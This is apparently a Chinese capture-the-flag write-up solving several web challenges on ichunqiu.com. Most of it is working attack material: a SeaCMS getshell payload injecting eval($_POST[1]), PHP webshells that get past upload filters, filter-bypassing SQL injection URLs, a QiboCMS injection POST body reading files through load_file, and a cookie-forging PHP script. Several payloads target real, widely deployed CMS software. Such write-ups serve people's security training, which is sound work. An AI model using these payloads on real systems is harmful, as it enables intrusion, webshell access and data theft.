Test

打开题目是一个海洋CMS,利用海洋CMS的一个前台getshell漏洞,得到shell

payload:http://1f8c85c122884af7b0d31337bc2aebbffc309b19166240b2.game.ichunqiu.com/search.php?searchtype=5&tid=0&year=23334444);eval($_POST[1]);//

用菜刀连接

连接后在/var/www/html/install/common.inc.php得到数据库的配置信息,连接数据库

得到flag

123

打开题目,是一个登陆框,在源代码里发现了提示

打开user.php发现什么都没有,试试常见的源码泄露,在user.php.bak中发现了一堆用户名

用提示中的格式进行爆破,这里出生如期我们也是不知道的,所以也得进行爆破

最终得到用户名密码 lixiuyun lixiuyun1990

登录后发现一个在源码中发现一个文件上传的表单,F12修改一下

随便上传了一个php文件,发现文件名不能有 php ,利用 php 的别名(php2, php3, php4, php5, phps, pht, phtm, phtml )试一试,发现必须得是图片类型的文件

用 .jpg.phtml 就能成功绕过(应该还用检测文件的内容,所以里不能包含php之类的可执行代码)

得到一个地址 /view.php,访问一下

我们尝试GET一个file试一试 http://0dedc2aa1f7b4ef383b5c78d1eb37b274589fad50e1f4902.game.ichunqiu.com/view.php?file=1

提示我们过滤了 flag ,那GET的这个思路就是没问题的,我们GET file=flflagag 试一试

得到flag

SQLi

打开题目在在源码里发现了一个 login.php?id=1 尝试注入发现怎么都不成功

再找找其他的线索,发现一个细节,题目网址是http://a840fa33643d4ab9a3895c5aa5076a9f7376e13c19cd4d63.game.ichunqiu.com

但是访问之后会跳转到http://a840fa33643d4ab9a3895c5aa5076a9f7376e13c19cd4d63.game.ichunqiu.com/b68a89d1c4a097a9d8631b3ac45e8979.php

在我们分析一下跳转的过程

结果在跳转过程中的一个头信息中发现了一个l0gin.php?id=1 访问一下发现这个才是真正的注入页面

尝试注入,发现会将注入语句中 逗号以后的部分去除,所以注入语句中不能有逗号

构造payload:http://a840fa33643d4ab9a3895c5aa5076a9f7376e13c19cd4d63.game.ichunqiu.com/l0gin.php?id=-1%27%20union%20select%20*%20from%20(%20(select database())a%20JOIN%20(select%20version())b%20)%20%23

注入成功,查sqli中的表名

http://a840fa33643d4ab9a3895c5aa5076a9f7376e13c19cd4d63.game.ichunqiu.com/l0gin.php?id=-1%27%20union%20select%20*%20from%20(%20(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22sqli%22)a%20JOIN%20(select%20version())b%20)%20%23

users表中的列名

http://a840fa33643d4ab9a3895c5aa5076a9f7376e13c19cd4d63.game.ichunqiu.com/l0gin.php?id=-1%27%20union%20select%20*%20from%20(%20(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%22users%22%20and%20table_schema=%22sqli%22)a%20JOIN%20(select%20version())b%20)%20%23

查询flag_9c861b688330列中的内容

http://a840fa33643d4ab9a3895c5aa5076a9f7376e13c19cd4d63.game.ichunqiu.com/l0gin.php?id=-1%27%20union%20select%20*%20from%20(%20(select%20flag_9c861b688330%20from%20users)a%20JOIN%20(select%20version())b%20)%20%23

得到flag

SQL

这题就是一个简单的数字型注入,过滤了 and or union select or

and or 可以用&& || 来绕过

union select or 刚开始尝试用/**/ 大小写绕过 发现都不行,结果发现<>会被替换为空,所以我们可以用 un<>ion 来绕过

最终payload: http://0ef71d641e3d4e8095f13037b9f69b32072464ec36e14257.game.ichunqiu.com/index.php?id=1%20un%3C%3Eion%20sel%3C%3Eect%201,flAg_T5ZNdrm,3%20from%20info%23

得到flag

再见CMS

打开题目,识别了一下发现是一个齐博CMS,扫面一下后台

发现了一个flag.php 访问一下发现什么都没有,我们搜一下这个CMS的漏洞

发现了一个SQL注入漏洞

构造payload直接读取flag.php

payload:http://b1b4be644d624afc838a6dffbd14fb7042c639d8cb254dee.game.ichunqiu.com/member/userinfo.php?job=edit&step=2

POST数据据:

old_password=123456&truename=xxxx%0000&Limitword[000]=&email=1234@qq.com&provinceid=,address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) where uid=5%23

这个uid就是你注册的用户id,old_passwod是旧密码,email是注册的邮箱

发送后查看个人主页,在源码中得到flag

XSS平台

看了一下是一个Python的题,以后在回来填这个坑

YeserCMS

打开题目识别了一下发现是一个cmseasy,找了一下这个cms的漏洞发现了一个sql注入的漏洞

利用这个漏洞得到管理员的用户名和密码 admin ff512d4240cbbdeafada404677ccbe661

密码解密后为Yeser231

登陆后台http://fb42eef2feba4de1aaaa48053b5a6b37cf8c1e158de849ee.game.ichunqiu.com/admin

利用cmseasy的后台模板处getshell发现不能保存,但是查看模板的代码时,应该是直接发送请求然后读取文件的,我们可以修改发送的请求读取任意文件

最后在../../flag.php中发现了flag

Code

打开题目,看url应该是一个文件读取,我们修改url:http://cb0901529aa4452cb0f12362856cfcf42f5c45b9cd104058.game.ichunqiu.com/index.php?jpg=index.php

得到index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
* Can you find the flag file?
*
*/

?>

看了一下过滤了除数字字母以外的字符,并且将 config 替换成 _

这里注意一下 Created by PhpStorm. 想到phpstorm会自动生成一个 .idea 文件夹里面包含了项目的一些配置信息

我们访问:http://cb0901529aa4452cb0f12362856cfcf42f5c45b9cd104058.game.ichunqiu.com/.idea/workspace.xml

看到一个 fl3g_ichuqiu.php 页面,我们尝试获取源码,但是过滤了 _ ,但是会将 config 替换成 _

所以我们构造url: http://3e7b9f3d9c61423980a57d514c5fe6fca92f59d51b9e4acf.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php

得到 fl3g_ichuqiu.php 的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>

一个加密的代码,我们要修改cookie让其解密后等于 system 才能得到 flag

代码审计 通过加密的函数的逆推 我们可以知道 md5($rnd.$key) 的1~5 位

再看解密函数 我们要让 $tmp 与 systmp的 ascii码偏移后的字符串相同 而它是通过 $txt与 $key的1~6位 异或得到的

$txt是我们可空的 但是我们只知道$key的1~5位,所以$key的第六位我们需要爆破

附上脚本(php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<meta charset="utf-8">
<?php
$str='123456789abcdef';
$txt1="UnZVa0BKXRlN";
$txt1=base64_decode($txt1);
$txt="guest";
$tmp='';
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt=$tmp;
$ttmp=substr($txt1,4);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$key[$i]=$ttmp[$i]^$txt[$i];
}
$key=implode("",$key);
$txt2="system";
$tmp2='';
for($i=0;$i<strlen($txt2);$i++){
$tmp2.= chr(ord($txt2[$i])+10);
}
for($j=0;$j<strlen($str);$j++)
{
$key1=$key.$str[$j];
$s=0;
$txt3='';
for($i=0;$i<strlen($tmp2);$i++){
if($s == 32) $s = 0;
$txt3.=$tmp2[$i]^$key1[$i];
}

$newcookie=substr($txt1,0,4).$txt3;
echo base64_encode($newcookie)."<br>";
}

运行脚本可以得到一个cookie的字典

1539177075638

利用字典通过 bp 爆破即可得到flag

1539177115480

Upload

打开题目

一个文件上传的页面,随手上传了一个一句话,发现过滤了 <? 与 php

1539179310458

我们用 <srcipt>标签与大小写来绕过

<script language="pHP"> eval($_POST['cmd']);</script>

上传成功,菜刀连之

1539179436288

得到flag

1539179464336